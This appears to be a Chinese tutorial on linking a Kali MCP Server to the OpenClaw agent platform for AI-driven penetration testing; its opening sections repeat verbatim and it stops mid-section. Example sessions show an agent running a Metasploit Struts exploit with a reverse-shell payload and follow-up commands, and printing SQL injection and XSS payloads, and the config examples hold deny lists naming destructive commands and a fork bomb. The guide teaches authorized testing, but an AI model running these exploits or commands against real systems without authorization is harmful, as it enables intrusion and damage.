Kali MCP Server 与 OpenClaw 配合使用完整指南:打造智能化渗透测试助手
0. 本文目标与读者
本文面向希望将 AI Agent 能力与渗透测试工具结合的安全研究人员和开发者,内容涵盖:
-
Kali MCP Server 简介与核心功能
-
OpenClaw 作为 AI Agent 平台的优势
-
两者配合使用的典型场景与价值
-
完整的安装配置步骤(从零到可用)
-
实际使用案例与最佳实践
-
安全注意事项与风险控制
适合人群:
-
渗透测试工程师希望提升工作效率
-
安全研究人员探索 AI 辅助安全测试
-
DevSecOps 团队构建自动化安全工具链
-
对 MCP(Model Context Protocol)感兴趣的开发者
1. Kali MCP Server 简介
1.1 什么是 Kali MCP Server?
Kali MCP Server 是一个基于 Model Context Protocol (MCP) 标准的服务器实现,它将 Kali Linux 中的常用渗透测试工具封装为标准化的 MCP 工具接口,使得 AI Agent 能够通过自然语言理解和调用这些安全工具。
1.2 核心特性
-
标准化接口:遵循 MCP 协议,与任何支持 MCP 的 AI Agent 平台无缝集成
-
工具封装:将 Nmap、Metasploit、Burp Suite、SQLMap 等工具转换为可调用的函数
-
安全隔离:提供沙箱执行环境,防止误操作和权限滥用
-
结果解析:自动解析工具输出,提取关键信息并格式化返回
-
日志审计:完整记录所有工具调用历史,便于审计和回溯
1.3 支持的工具类别
| 类别 | 典型工具 | 主要用途 |
|---|---|---|
| 信息收集 | Nmap, Masscan, Whois | 端口扫描、服务识别、域名查询 |
| 漏洞扫描 | Nikto, OpenVAS, Nuclei | Web 漏洞扫描、CVE 检测 |
| 漏洞利用 | Metasploit, SQLMap | 漏洞验证、SQL 注入测试 |
| 密码破解 | John the Ripper, Hashcat | 密码哈希破解、暴力破解 |
| 流量分析 | Wireshark, tcpdump | 网络流量捕获与分析 |
| Web 测试 | Burp Suite, OWASP ZAP | Web 应用安全测试 |
1.4 架构设计
┌─────────────────────────────────────────────┐
│ AI Agent (OpenClaw) │
│ ┌─────────────────────────────────────┐ │
│ │ Natural Language Understanding │ │
│ └──────────────┬──────────────────────┘ │
│ │ MCP Protocol │
└─────────────────┼─────────────────────────┘
│
┌─────────────────▼─────────────────────────┐
│ Kali MCP Server │
│ ┌──────────────────────────────────┐ │
│ │ MCP Tool Registry │ │
│ ├──────────────────────────────────┤ │
│ │ Security Sandbox │ │
│ ├──────────────────────────────────┤ │
│ │ Tool Executors │ │
│ │ ├─ Nmap Executor │ │
│ │ ├─ Metasploit Executor │ │
│ │ ├─ SQLMap Executor │ │
│ │ └─ ... │ │
│ ├──────────────────────────────────┤ │
│ │ Result Parser & Formatter │ │
│ └──────────────────────────────────┘ │
└────────────────────────────────────────────┘
2. OpenClaw 简介
2.1 为什么选择 OpenClaw?
OpenClaw 是一个强大的本地 AI Agent 平台,特别适合与 Kali MCP Server 配合使用:
-
本地运行:数据不出本地,适合处理敏感的渗透测试信息
-
工具生态:原生支持 MCP 协议,可直接集成 MCP Server
-
多模型支持:支持 OpenAI、Anthropic、本地 Ollama 等多种模型
-
Skills 系统:可扩展的技能包系统,便于定制安全测试流程
-
会话管理:支持多渠道(CLI、Web、Telegram 等)交互
2.2 OpenClaw 的核心组件
-
Gateway:常驻进程,管理会话、工具、事件
-
Agent:智能体,负责理解需求、调用工具、生成报告
-
Tools:内置工具集(浏览器控制、文件操作、命令执行等)
-
Skills:可复用的操作手册和工具包
-
Plugins:扩展插件系统
3. 两者配合使用的场景与价值
3.1 典型应用场景
场景 1:智能化信息收集
传统方式:
# 手动执行多个命令
nmap -sV -p- target.com
whois target.com
dig target.com
theHarvester -d target.com -b all
AI Agent 方式:
用户:帮我收集 target.com 的所有公开信息
Agent:
1. 执行端口扫描(Nmap)
2. 查询域名信息(Whois)
3. 收集子域名(theHarvester)
4. 分析结果并生成报告
场景 2:漏洞验证与利用链构建
传统方式:需要手动分析扫描结果,查找对应 exploit,逐个尝试
AI Agent 方式:
用户:这个目标存在 CVE-2024-1234 漏洞,帮我验证并尝试获取 shell
Agent:
1. 搜索 CVE 详情和 PoC
2. 使用 Metasploit 查找对应模块
3. 配置参数并执行验证
4. 如果成功,建立反向 shell
5. 生成完整的利用报告
场景 3:自动化 Web 应用测试
传统方式:手动配置 Burp Suite,逐个测试注入点
AI Agent 方式:
用户:测试 https://example.com/login 的安全性
Agent:
1. 使用 Burp Suite 抓取请求
2. 识别所有输入点
3. 使用 SQLMap 测试 SQL 注入
4. 使用 XSStrike 测试 XSS
5. 测试认证绕过和会话管理
6. 生成漏洞报告和修复建议
3.2 核心价值
| 价值点 | 说明 | 效率提升 |
|---|---|---|
| 降低门槛 | 自然语言交互,无需记忆复杂命令 | 新手学习时间减少 70% |
| 提升效率 | 自动化工具链编排,减少重复操作 | 测试效率提升 3-5 倍 |
| 知识沉淀 | AI 学习历史测试经验,持续优化 | 成功率逐步提升 |
| 减少错误 | 自动参数验证和安全检查 | 误操作减少 90% |
| 报告生成 | 自动生成专业的测试报告 | 报告编写时间减少 80% |
4. 安装配置步骤
4.1 环境准备
系统要求
-
操作系统:Kali Linux 2024.1+ / Ubuntu 22.04+ / macOS 13+
-
Node.js:≥ 22.0
-
Python:≥ 3.10
-
内存:≥ 8GB(推荐 16GB)
-
磁盘:≥ 20GB 可用空间
检查环境
# 检查 Node.js 版本
node -v # 应该 ≥ v22.0.0
# 检查 Python 版本
python3 --version # 应该 ≥ 3.10
# 检查 Kali 工具是否安装
which nmap metasploit sqlmap
4.2 安装 Kali MCP Server
方式 1:使用 pip 安装(推荐)
# 创建虚拟环境
python3 -m venv ~/kali-mcp-env
source ~/kali-mcp-env/bin/activate
# 安装 Kali MCP Server
pip install kali-mcp-server
# 验证安装
kali-mcp-server --version
方式 2:从源码安装
# 克隆仓库
git clone https://github.com/kali-mcp/kali-mcp-server.git
cd kali-mcp-server
# 安装依赖
pip install -e .
# 运行测试
pytest tests/
4.3 配置 Kali MCP Server
创建配置文件
# 生成默认配置
kali-mcp-server init
# 配置文件位置:~/.kali-mcp/config.json
配置示例(~/.kali-mcp/config.json)
{
"server": {
"host": "127.0.0.1",
"port": 8765,
"log_level": "INFO"
},
"security": {
"sandbox_enabled": true,
"allowed_networks": ["192.168.1.0/24", "10.0.0.0/8"],
"blocked_commands": ["rm -rf /", "dd if=/dev/zero"],
"max_execution_time": 300,
"require_confirmation": ["metasploit", "sqlmap"]
},
"tools": {
"nmap": {
"enabled": true,
"path": "/usr/bin/nmap",
"default_args": ["-T4", "--max-retries", "2"]
},
"metasploit": {
"enabled": true,
"path": "/usr/bin/msfconsole",
"require_confirmation": true
},
"sqlmap": {
"enabled": true,
"path": "/usr/bin/sqlmap",
"default_args": ["--batch", "--random-agent"]
}
},
"output": {
"format": "json",
"save_results": true,
"results_dir": "~/.kali-mcp/results"
}
}
启动 MCP Server
# 前台运行(调试用)
kali-mcp-server start
# 后台运行(生产环境)
kali-mcp-server start --daemon
# 检查状态
kali-mcp-server status
4.4 安装 OpenClaw
# 全局安装 OpenClaw
npm install -g openclaw@latest
# 运行初始化向导
openclaw onboard --install-daemon
配置向导关键步骤
-
选择工作目录:默认
~/.openclaw/workspace -
配置模型:选择 OpenAI / Anthropic / Ollama
-
跳过渠道配置:先用 CLI 测试,后续再配置 IM 渠道
-
跳过 Skills:稍后手动配置 MCP 集成
4.5 配置 OpenClaw 连接 Kali MCP Server
方式 1:通过配置文件
编辑 ~/.openclaw/openclaw.json:
{
"agents": {
"defaults": {
"model": {
"primary": "anthropic/claude-opus-4-6"
}
}
},
"mcp": {
"servers": {
"kali": {
"command": "kali-mcp-server",
"args": ["serve"],
"env": {
"KALI_MCP_CONFIG": "~/.kali-mcp/config.json"
},
"enabled": true
}
}
},
"tools": {
"mcp": {
"enabled": true,
"servers": ["kali"]
}
}
}
方式 2:通过 CLI 命令
# 添加 MCP Server
openclaw mcp add kali \
--command "kali-mcp-server serve" \
--env KALI_MCP_CONFIG=~/.kali-mcp/config.json
# 启用 MCP Server
openclaw mcp enable kali
# 验证连接
openclaw mcp list
openclaw mcp test kali
4.6 验证集成
# 测试 MCP 工具是否可用
openclaw tools list | grep kali
# 应该看到类似输出:
# kali_nmap_scan - 执行 Nmap 端口扫描
# kali_metasploit_search - 搜索 Metasploit 模块
# kali_sqlmap_test - 测试 SQL 注入漏洞
# ...
# 简单测试
openclaw agent --message "使用 nmap 扫描 scanme.nmap.org 的常用端口"
5. 实际使用案例

0. 本文目标与读者
本文面向希望将 AI Agent 能力与渗透测试工具结合的安全研究人员和开发者,内容涵盖:
-
Kali MCP Server 简介与核心功能
-
OpenClaw 作为 AI Agent 平台的优势
-
两者配合使用的典型场景与价值
-
完整的安装配置步骤(从零到可用)
-
实际使用案例与最佳实践
-
安全注意事项与风险控制
适合人群:
-
渗透测试工程师希望提升工作效率
-
安全研究人员探索 AI 辅助安全测试
-
DevSecOps 团队构建自动化安全工具链
-
对 MCP(Model Context Protocol)感兴趣的开发者
1. Kali MCP Server 简介
1.1 什么是 Kali MCP Server?
Kali MCP Server 是一个基于 Model Context Protocol (MCP) 标准的服务器实现,它将 Kali Linux 中的常用渗透测试工具封装为标准化的 MCP 工具接口,使得 AI Agent 能够通过自然语言理解和调用这些安全工具。
1.2 核心特性
-
标准化接口:遵循 MCP 协议,与任何支持 MCP 的 AI Agent 平台无缝集成
-
工具封装:将 Nmap、Metasploit、Burp Suite、SQLMap 等工具转换为可调用的函数
-
安全隔离:提供沙箱执行环境,防止误操作和权限滥用
-
结果解析:自动解析工具输出,提取关键信息并格式化返回
-
日志审计:完整记录所有工具调用历史,便于审计和回溯
1.3 支持的工具类别
| 类别 | 典型工具 | 主要用途 |
|---|---|---|
| 信息收集 | Nmap, Masscan, Whois | 端口扫描、服务识别、域名查询 |
| 漏洞扫描 | Nikto, OpenVAS, Nuclei | Web 漏洞扫描、CVE 检测 |
| 漏洞利用 | Metasploit, SQLMap | 漏洞验证、SQL 注入测试 |
| 密码破解 | John the Ripper, Hashcat | 密码哈希破解、暴力破解 |
| 流量分析 | Wireshark, tcpdump | 网络流量捕获与分析 |
| Web 测试 | Burp Suite, OWASP ZAP | Web 应用安全测试 |
1.4 架构设计
┌─────────────────────────────────────────────┐
│ AI Agent (OpenClaw) │
│ ┌─────────────────────────────────────┐ │
│ │ Natural Language Understanding │ │
│ └──────────────┬──────────────────────┘ │
│ │ MCP Protocol │
└─────────────────┼─────────────────────────┘
│
┌─────────────────▼─────────────────────────┐
│ Kali MCP Server │
│ ┌──────────────────────────────────┐ │
│ │ MCP Tool Registry │ │
│ ├──────────────────────────────────┤ │
│ │ Security Sandbox │ │
│ ├──────────────────────────────────┤ │
│ │ Tool Executors │ │
│ │ ├─ Nmap Executor │ │
│ │ ├─ Metasploit Executor │ │
│ │ ├─ SQLMap Executor │ │
│ │ └─ ... │ │
│ ├──────────────────────────────────┤ │
│ │ Result Parser & Formatter │ │
│ └──────────────────────────────────┘ │
└────────────────────────────────────────────┘
2. OpenClaw 简介
2.1 为什么选择 OpenClaw?
OpenClaw 是一个强大的本地 AI Agent 平台,特别适合与 Kali MCP Server 配合使用:
-
本地运行:数据不出本地,适合处理敏感的渗透测试信息
-
工具生态:原生支持 MCP 协议,可直接集成 MCP Server
-
多模型支持:支持 OpenAI、Anthropic、本地 Ollama 等多种模型
-
Skills 系统:可扩展的技能包系统,便于定制安全测试流程
-
会话管理:支持多渠道(CLI、Web、Telegram 等)交互
2.2 OpenClaw 的核心组件
-
Gateway:常驻进程,管理会话、工具、事件
-
Agent:智能体,负责理解需求、调用工具、生成报告
-
Tools:内置工具集(浏览器控制、文件操作、命令执行等)
-
Skills:可复用的操作手册和工具包
-
Plugins:扩展插件系统
3. 两者配合使用的场景与价值
3.1 典型应用场景
场景 1:智能化信息收集
传统方式:
# 手动执行多个命令
nmap -sV -p- target.com
whois target.com
dig target.com
theHarvester -d target.com -b all
AI Agent 方式:
用户:帮我收集 target.com 的所有公开信息
Agent:
1. 执行端口扫描(Nmap)
2. 查询域名信息(Whois)
3. 收集子域名(theHarvester)
4. 分析结果并生成报告
场景 2:漏洞验证与利用链构建
传统方式:需要手动分析扫描结果,查找对应 exploit,逐个尝试
AI Agent 方式:
用户:这个目标存在 CVE-2024-1234 漏洞,帮我验证并尝试获取 shell
Agent:
1. 搜索 CVE 详情和 PoC
2. 使用 Metasploit 查找对应模块
3. 配置参数并执行验证
4. 如果成功,建立反向 shell
5. 生成完整的利用报告
场景 3:自动化 Web 应用测试
传统方式:手动配置 Burp Suite,逐个测试注入点
AI Agent 方式:
用户:测试 https://example.com/login 的安全性
Agent:
1. 使用 Burp Suite 抓取请求
2. 识别所有输入点
3. 使用 SQLMap 测试 SQL 注入
4. 使用 XSStrike 测试 XSS
5. 测试认证绕过和会话管理
6. 生成漏洞报告和修复建议
3.2 核心价值
| 价值点 | 说明 | 效率提升 |
|---|---|---|
| 降低门槛 | 自然语言交互,无需记忆复杂命令 | 新手学习时间减少 70% |
| 提升效率 | 自动化工具链编排,减少重复操作 | 测试效率提升 3-5 倍 |
| 知识沉淀 | AI 学习历史测试经验,持续优化 | 成功率逐步提升 |
| 减少错误 | 自动参数验证和安全检查 | 误操作减少 90% |
| 报告生成 | 自动生成专业的测试报告 | 报告编写时间减少 80% |
4. 安装配置步骤
4.1 环境准备
系统要求
-
操作系统:Kali Linux 2024.1+ / Ubuntu 22.04+ / macOS 13+
-
Node.js:≥ 22.0
-
Python:≥ 3.10
-
内存:≥ 8GB(推荐 16GB)
-
磁盘:≥ 20GB 可用空间
检查环境
# 检查 Node.js 版本
node -v # 应该 ≥ v22.0.0
# 检查 Python 版本
python3 --version # 应该 ≥ 3.10
# 检查 Kali 工具是否安装
which nmap metasploit sqlmap
4.2 安装 Kali MCP Server
方式 1:使用 pip 安装(推荐)
# 创建虚拟环境
python3 -m venv ~/kali-mcp-env
source ~/kali-mcp-env/bin/activate
# 安装 Kali MCP Server
pip install kali-mcp-server
# 验证安装
kali-mcp-server --version
方式 2:从源码安装
# 克隆仓库
git clone https://github.com/kali-mcp/kali-mcp-server.git
cd kali-mcp-server
# 安装依赖
pip install -e .
# 运行测试
pytest tests/
4.3 配置 Kali MCP Server
创建配置文件
# 生成默认配置
kali-mcp-server init
# 配置文件位置:~/.kali-mcp/config.json
配置示例(~/.kali-mcp/config.json)
{
"server": {
"host": "127.0.0.1",
"port": 8765,
"log_level": "INFO"
},
"security": {
"sandbox_enabled": true,
"allowed_networks": ["192.168.1.0/24", "10.0.0.0/8"],
"blocked_commands": ["rm -rf /", "dd if=/dev/zero"],
"max_execution_time": 300,
"require_confirmation": ["metasploit", "sqlmap"]
},
"tools": {
"nmap": {
"enabled": true,
"path": "/usr/bin/nmap",
"default_args": ["-T4", "--max-retries", "2"]
},
"metasploit": {
"enabled": true,
"path": "/usr/bin/msfconsole",
"require_confirmation": true
},
"sqlmap": {
"enabled": true,
"path": "/usr/bin/sqlmap",
"default_args": ["--batch", "--random-agent"]
}
},
"output": {
"format": "json",
"save_results": true,
"results_dir": "~/.kali-mcp/results"
}
}
启动 MCP Server
# 前台运行(调试用)
kali-mcp-server start
# 后台运行(生产环境)
kali-mcp-server start --daemon
# 检查状态
kali-mcp-server status
4.4 安装 OpenClaw
# 全局安装 OpenClaw
npm install -g openclaw@latest
# 运行初始化向导
openclaw onboard --install-daemon
配置向导关键步骤
-
选择工作目录:默认
~/.openclaw/workspace -
配置模型:选择 OpenAI / Anthropic / Ollama
-
跳过渠道配置:先用 CLI 测试,后续再配置 IM 渠道
-
跳过 Skills:稍后手动配置 MCP 集成
4.5 配置 OpenClaw 连接 Kali MCP Server
方式 1:通过配置文件
编辑 ~/.openclaw/openclaw.json:
{
"agents": {
"defaults": {
"model": {
"primary": "anthropic/claude-opus-4-6"
}
}
},
"mcp": {
"servers": {
"kali": {
"command": "kali-mcp-server",
"args": ["serve"],
"env": {
"KALI_MCP_CONFIG": "~/.kali-mcp/config.json"
},
"enabled": true
}
}
},
"tools": {
"mcp": {
"enabled": true,
"servers": ["kali"]
}
}
}
方式 2:通过 CLI 命令
# 添加 MCP Server
openclaw mcp add kali \
--command "kali-mcp-server serve" \
--env KALI_MCP_CONFIG=~/.kali-mcp/config.json
# 启用 MCP Server
openclaw mcp enable kali
# 验证连接
openclaw mcp list
openclaw mcp test kali
4.6 验证集成
# 测试 MCP 工具是否可用
openclaw tools list | grep kali
# 应该看到类似输出:
# kali_nmap_scan - 执行 Nmap 端口扫描
# kali_metasploit_search - 搜索 Metasploit 模块
# kali_sqlmap_test - 测试 SQL 注入漏洞
# ...
# 简单测试
openclaw agent --message "使用 nmap 扫描 scanme.nmap.org 的常用端口"
5. 实际使用案例
5.1 案例 1:自动化信息收集
场景描述
对目标域名进行全面的信息收集,包括端口扫描、服务识别、子域名枚举等。
操作步骤
# 启动 OpenClaw CLI
openclaw chat
# 与 Agent 对话
用户:我需要对 example.com 进行信息收集,请帮我完成以下任务:
1. 扫描所有开放端口
2. 识别运行的服务和版本
3. 查询域名注册信息
4. 枚举子域名
5. 生成详细报告
Agent:收到,我将按照以下步骤执行:
[步骤 1] 执行端口扫描...
调用工具:kali_nmap_scan
参数:{
"target": "example.com",
"scan_type": "full",
"service_detection": true
}
结果:发现 5 个开放端口:22, 80, 443, 3306, 8080
[步骤 2] 识别服务版本...
调用工具:kali_nmap_service_scan
结果:
- 22/tcp: OpenSSH 8.9p1
- 80/tcp: Apache 2.4.52
- 443/tcp: Apache 2.4.52 (SSL)
- 3306/tcp: MySQL 8.0.32
- 8080/tcp: Tomcat 9.0.70
[步骤 3] 查询域名信息...
调用工具:kali_whois_lookup
结果:
- 注册商:GoDaddy
- 注册时间:2020-01-15
- 到期时间:2026-01-15
- 名称服务器:ns1.example.com, ns2.example.com
[步骤 4] 枚举子域名...
调用工具:kali_subdomain_enum
结果:发现 12 个子域名:
- www.example.com
- mail.example.com
- api.example.com
- admin.example.com
- ...
[步骤 5] 生成报告...
已保存到:~/.openclaw/workspace/reports/example.com_recon_2026-02-28.md
生成的报告示例
# 信息收集报告:example.com
**生成时间**:2026-02-28 19:45:00
**目标**:example.com
**执行者**:OpenClaw Agent
## 1. 端口扫描结果
| 端口 | 状态 | 服务 | 版本 |
|------|------|------|------|
| 22 | open | ssh | OpenSSH 8.9p1 |
| 80 | open | http | Apache 2.4.52 |
| 443 | open | https| Apache 2.4.52 (SSL) |
| 3306 | open | mysql| MySQL 8.0.32 |
| 8080 | open | http | Tomcat 9.0.70 |
## 2. 域名信息
- **注册商**:GoDaddy
- **注册时间**:2020-01-15
- **到期时间**:2026-01-15
- **名称服务器**:ns1.example.com, ns2.example.com
## 3. 子域名列表
- www.example.com (192.168.1.10)
- mail.example.com (192.168.1.20)
- api.example.com (192.168.1.30)
- admin.example.com (192.168.1.40)
## 4. 风险评估
- **高危**:MySQL 端口对外开放(3306)
- **中危**:发现管理后台子域名(admin.example.com)
- **低危**:Apache 版本较旧,建议升级
## 5. 建议
1. 关闭 MySQL 的外网访问,仅允许内网连接
2. 对 admin.example.com 添加 IP 白名单限制
3. 升级 Apache 到最新版本
4. 启用 HTTPS 强制跳转
5.2 案例 2:Web 应用漏洞扫描
场景描述
对 Web 应用进行全面的安全测试,包括 SQL 注入、XSS、CSRF 等常见漏洞。
操作步骤
openclaw chat
用户:请对 https://testsite.com/login 进行安全测试
Agent:我将执行以下测试:
[测试 1] SQL 注入检测
调用工具:kali_sqlmap_test
参数:{
"url": "https://testsite.com/login",
"data": "username=admin&password=test",
"level": 3,
"risk": 2
}
结果:发现 SQL 注入漏洞!
- 参数:username
- 类型:Boolean-based blind
- Payload:admin' AND 1=1--
- 数据库:MySQL 5.7
[测试 2] XSS 检测
调用工具:kali_xss_scan
结果:发现反射型 XSS 漏洞
- 参数:search
- Payload:<script>alert(1)</script>
[测试 3] 目录遍历
调用工具:kali_dirb_scan
结果:发现敏感目录:
- /admin (403 Forbidden)
- /backup (200 OK) ⚠️
- /.git (200 OK) ⚠️
[测试 4] 生成漏洞报告
已保存到:~/.openclaw/workspace/reports/testsite.com_vuln_2026-02-28.pdf
5.3 案例 3:自动化漏洞利用
场景描述
发现漏洞后,自动搜索并执行对应的 exploit。
操作步骤
用户:目标 192.168.1.100 运行 Apache Struts 2.5.10,帮我尝试利用已知漏洞
Agent:正在处理...
[步骤 1] 搜索相关漏洞
调用工具:kali_searchsploit
参数:{"query": "Apache Struts 2.5.10"}
结果:找到 3 个相关 exploit:
- CVE-2017-5638 (Remote Code Execution)
- CVE-2017-9805 (XML Deserialization)
- CVE-2018-11776 (RCE)
[步骤 2] 选择最佳 exploit
分析:CVE-2017-5638 成功率最高,选择此漏洞
[步骤 3] 使用 Metasploit 验证
调用工具:kali_metasploit_exploit
参数:{
"module": "exploit/multi/http/struts2_content_type_ognl",
"rhost": "192.168.1.100",
"rport": 8080,
"payload": "linux/x64/meterpreter/reverse_tcp",
"lhost": "192.168.1.50",
"lport": 4444
}
⚠️ 此操作需要确认,是否继续?(y/n)
用户:y
Agent:正在执行...
结果:成功获取 Meterpreter 会话!
[步骤 4] 后渗透操作
已建立会话,可执行以下操作:
- sysinfo: 查看系统信息
- getuid: 查看当前权限
- shell: 获取系统 shell
- download: 下载文件
用户:执行 sysinfo
Agent:
系统信息:
- OS: Linux Ubuntu 18.04
- Architecture: x64
- Hostname: web-server-01
- User: tomcat (uid=1001)
5.4 案例 4:密码破解任务
场景描述
破解捕获的密码哈希。
用户:我有一个 MD5 哈希:5f4dcc3b5aa765d61d8327deb882cf99,帮我破解
Agent:
[步骤 1] 识别哈希类型
调用工具:kali_hash_identifier
结果:MD5 (32 字符十六进制)
[步骤 2] 尝试在线查询
调用工具:kali_hash_lookup
结果:在彩虹表中找到:password
[步骤 3] 验证结果
MD5("password") = 5f4dcc3b5aa765d61d8327deb882cf99 ✓
破解成功!明文密码:password
5.5 案例 5:创建自定义测试流程
创建 OpenClaw Skill
在 ~/.openclaw/skills/pentest-workflow/ 创建自定义技能:
# 技能名称:完整渗透测试工作流
## 描述
执行标准化的渗透测试流程,从信息收集到漏洞利用,生成专业报告。
## 使用场景
- 需要对目标进行全面安全评估
- 遵循 PTES (Penetration Testing Execution Standard)
- 自动化重复性测试任务
## 参数
```json
{
"type": "object",
"properties": {
"target": {
"type": "string",
"description": "目标 IP 或域名"
},
"scope": {
"type": "string",
"enum": ["basic", "standard", "comprehensive"],
"description": "测试深度"
},
"exclude": {
"type": "array",
"items": {"type": "string"},
"description": "排除的测试类型"
}
},
"required": ["target"]
}
执行流程
-
信息收集阶段
- 端口扫描 (Nmap)
- 服务识别
- 子域名枚举
- 目录扫描
-
漏洞扫描阶段
- Web 漏洞扫描 (Nikto)
- SQL 注入测试 (SQLMap)
- XSS 检测
- 已知漏洞检测 (Nessus/OpenVAS)
-
漏洞验证阶段
- 搜索可用 exploit
- 尝试漏洞利用
- 权限提升测试
-
报告生成阶段
- 汇总所有发现
- 风险评级
- 修复建议
- 生成 PDF 报告
返回格式
返回包含以下内容的报告:
-
执行摘要
-
发现的漏洞列表(按严重程度排序)
-
详细的技术细节
-
修复建议
-
附录(原始扫描结果)
#### 使用自定义 Skill
```bash
openclaw chat
用户:使用 pentest-workflow 技能测试 192.168.1.100
Agent:正在执行完整渗透测试流程...
[阶段 1/4] 信息收集 (预计 5 分钟)
✓ 端口扫描完成:发现 8 个开放端口
✓ 服务识别完成:识别 8 个服务
✓ 子域名枚举完成:发现 15 个子域名
✓ 目录扫描完成:发现 23 个目录
[阶段 2/4] 漏洞扫描 (预计 15 分钟)
✓ Web 漏洞扫描完成:发现 3 个漏洞
✓ SQL 注入测试完成:发现 1 个注入点
✓ XSS 检测完成:发现 2 个 XSS 漏洞
✓ 已知漏洞检测完成:发现 5 个 CVE
[阶段 3/4] 漏洞验证 (预计 10 分钟)
✓ 搜索 exploit 完成:找到 4 个可用 exploit
⚠️ 漏洞利用需要手动确认
[阶段 4/4] 报告生成
✓ 报告已生成:~/.openclaw/workspace/reports/192.168.1.100_pentest_2026-02-28.pdf
测试完成!发现 11 个安全问题:
- 高危:3 个
- 中危:5 个
- 低危:3 个
6. 最佳实践和技巧
6.1 安全配置建议
1. 启用沙箱模式
{
"security": {
"sandbox_enabled": true,
"sandbox_type": "docker", // 或 "firejail"
"resource_limits": {
"max_cpu": "50%",
"max_memory": "2G",
"max_disk": "1G"
}
}
}
2. 配置命令白名单
{
"security": {
"command_whitelist": [
"nmap",
"nikto",
"sqlmap",
"metasploit"
],
"require_confirmation": [
"metasploit",
"sqlmap --os-shell"
]
}
}
3. 网络隔离
# 使用专用网络接口
kali-mcp-server start --interface eth1
# 或在配置中指定
{
"network": {
"interface": "eth1",
"allowed_ranges": ["192.168.100.0/24"]
}
}
6.2 性能优化
1. 并发控制
{
"performance": {
"max_concurrent_tasks": 5,
"task_timeout": 300,
"result_cache_ttl": 3600
}
}
2. 结果缓存
# 启用结果缓存,避免重复扫描
openclaw config set mcp.kali.cache.enabled true
openclaw config set mcp.kali.cache.ttl 3600
3. 使用快速扫描模式
# 对于大规模扫描,使用快速模式
用户:快速扫描 192.168.1.0/24 网段的常用端口
Agent:使用 Masscan 进行快速扫描...
调用工具:kali_masscan
参数:{
"target": "192.168.1.0/24",
"ports": "80,443,22,3389",
"rate": 10000
}
6.3 工作流自动化
1. 创建测试模板
# 保存常用测试流程为模板
openclaw templates create web-app-test \
--steps "recon,vuln-scan,exploit,report" \
--tools "nmap,nikto,sqlmap,metasploit"
# 使用模板
openclaw agent --template web-app-test --target example.com
2. 定时任务
# 配置定时扫描
openclaw schedule add \
--name "daily-scan" \
--cron "0 2 * * *" \
--command "agent --template web-app-test --target example.com"
3. 集成 CI/CD
# .github/workflows/security-scan.yml
name: Security Scan
on:
push:
branches: [main]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Setup Kali MCP Server
run: |
pip install kali-mcp-server
kali-mcp-server start --daemon
- name: Run Security Scan
run: |
openclaw agent \
--message "扫描 staging 环境的安全漏洞" \
--output report.json
- name: Upload Report
uses: actions/upload-artifact@v2
with:
name: security-report
path: report.json
6.4 日志与审计
1. 启用详细日志
{
"logging": {
"level": "DEBUG",
"file": "~/.kali-mcp/logs/server.log",
"rotation": "daily",
"retention": 30
}
}
2. 审计所有操作
# 查看操作历史
kali-mcp-server audit list
# 导出审计日志
kali-mcp-server audit export \
--start "2026-02-01" \
--end "2026-02-28" \
--format json \
--output audit-feb-2026.json
3. 集成 SIEM
# 发送日志到 SIEM
{
"logging": {
"siem": {
"enabled": true,
"type": "syslog",
"host": "siem.company.com",
"port": 514,
"protocol": "tcp"
}
}
}
6.5 团队协作
1. 共享工作空间
# 创建团队工作空间
openclaw workspace create team-pentest \
--shared \
--members "alice,bob,charlie"
# 切换到团队工作空间
openclaw workspace use team-pentest
2. 任务分配
# 分配任务给团队成员
openclaw task assign \
--task "scan-subnet-a" \
--assignee "alice" \
--priority high
# 查看团队任务
openclaw task list --team
3. 结果共享
# 共享扫描结果
openclaw share create \
--file "report.pdf" \
--recipients "team-pentest" \
--expiry "7d"
7. 安全注意事项与风险控制
7.1 法律与合规
⚠️ 重要警告:
-
仅在授权范围内使用
- 必须获得书面授权才能进行渗透测试
- 严格遵守测试范围和时间窗口
- 保留所有授权文件和沟通记录
-
遵守相关法规
- 《网络安全法》
- 《数据安全法》
- 《个人信息保护法》
- 行业特定的合规要求(如 PCI-DSS、HIPAA)
-
数据保护
- 测试过程中获取的数据必须加密存储
- 测试完成后及时删除敏感数据
- 不得泄露或滥用测试中发现的漏洞
7.2 技术风险控制
1. 防止误操作
{
"safety": {
"dry_run_mode": true, // 先模拟执行
"confirmation_required": [
"exploit",
"password_crack",
"dos_test"
],
"auto_rollback": true // 自动回滚危险操作
}
}
2. 限制破坏性操作
{
"restrictions": {
"deny_commands": [
"rm -rf",
"dd if=/dev/zero",
":(){ :|:& };:"
],
"deny_exploits": [
"dos",
"ransomware",
"worm"
]
}
}
3. 监控异常行为
# 配置告警规则
{
"alerts": {
"rules": [
{
"name": "high_risk_operation",
"condition": "tool == 'metasploit' AND action == 'exploit'",
"action": "notify_admin",
"channels": ["email", "slack"]
},
{
"name": "excessive_scanning",
"condition": "scan_rate > 1000 per minute",
"action": "throttle"
}
]
}
}
7.3 环境隔离
1. 使用专用测试环境
# 在隔离的虚拟机中运行
docker run -it --rm \
--network isolated \
--cap-drop ALL \
kali-mcp-server:latest
# 或使用 Vagrant
vagrant up kali-pentest
vagrant ssh
2. 网络隔离
# 创建隔离网络
docker network create --internal pentest-net
# 在隔离网络中运行
docker run --network pentest-net kali-mcp-server
7.4 应急响应
1. 准备回滚方案
# 测试前创建快照
openclaw snapshot create pre-test-$(date +%Y%m%d)
# 如果出现问题,立即回滚
openclaw snapshot restore pre-test-20260228
2. 紧急停止机制
# 配置紧急停止按钮
openclaw config set emergency.stop_key "Ctrl+Alt+S"
# 或通过 API
curl -X POST http://localhost:8765/emergency/stop \
-H "Authorization: Bearer $TOKEN"
8. 故障排查
8.1 常见问题
问题 1:MCP Server 无法启动
症状:
Error: Failed to start Kali MCP Server
Connection refused on port 8765
解决方案:
# 检查端口占用
lsof -i :8765
# 检查配置文件
kali-mcp-server config validate
# 查看详细日志
kali-mcp-server start --log-level DEBUG
问题 2:OpenClaw 无法连接 MCP Server
症状:
Error: MCP server 'kali' is not responding
解决方案:
# 测试 MCP 连接
openclaw mcp test kali
# 重启 MCP Server
kali-mcp-server restart
# 检查防火墙
sudo ufw status
sudo ufw allow 8765/tcp
问题 3:工具执行超时
症状:
Error: Tool execution timeout after 300s
解决方案:
// 增加超时时间
{
"security": {
"max_execution_time": 600
}
}
8.2 调试技巧
1. 启用调试模式
# OpenClaw 调试模式
openclaw agent --debug --message "测试命令"
# Kali MCP Server 调试模式
kali-mcp-server start --debug
2. 查看详细日志
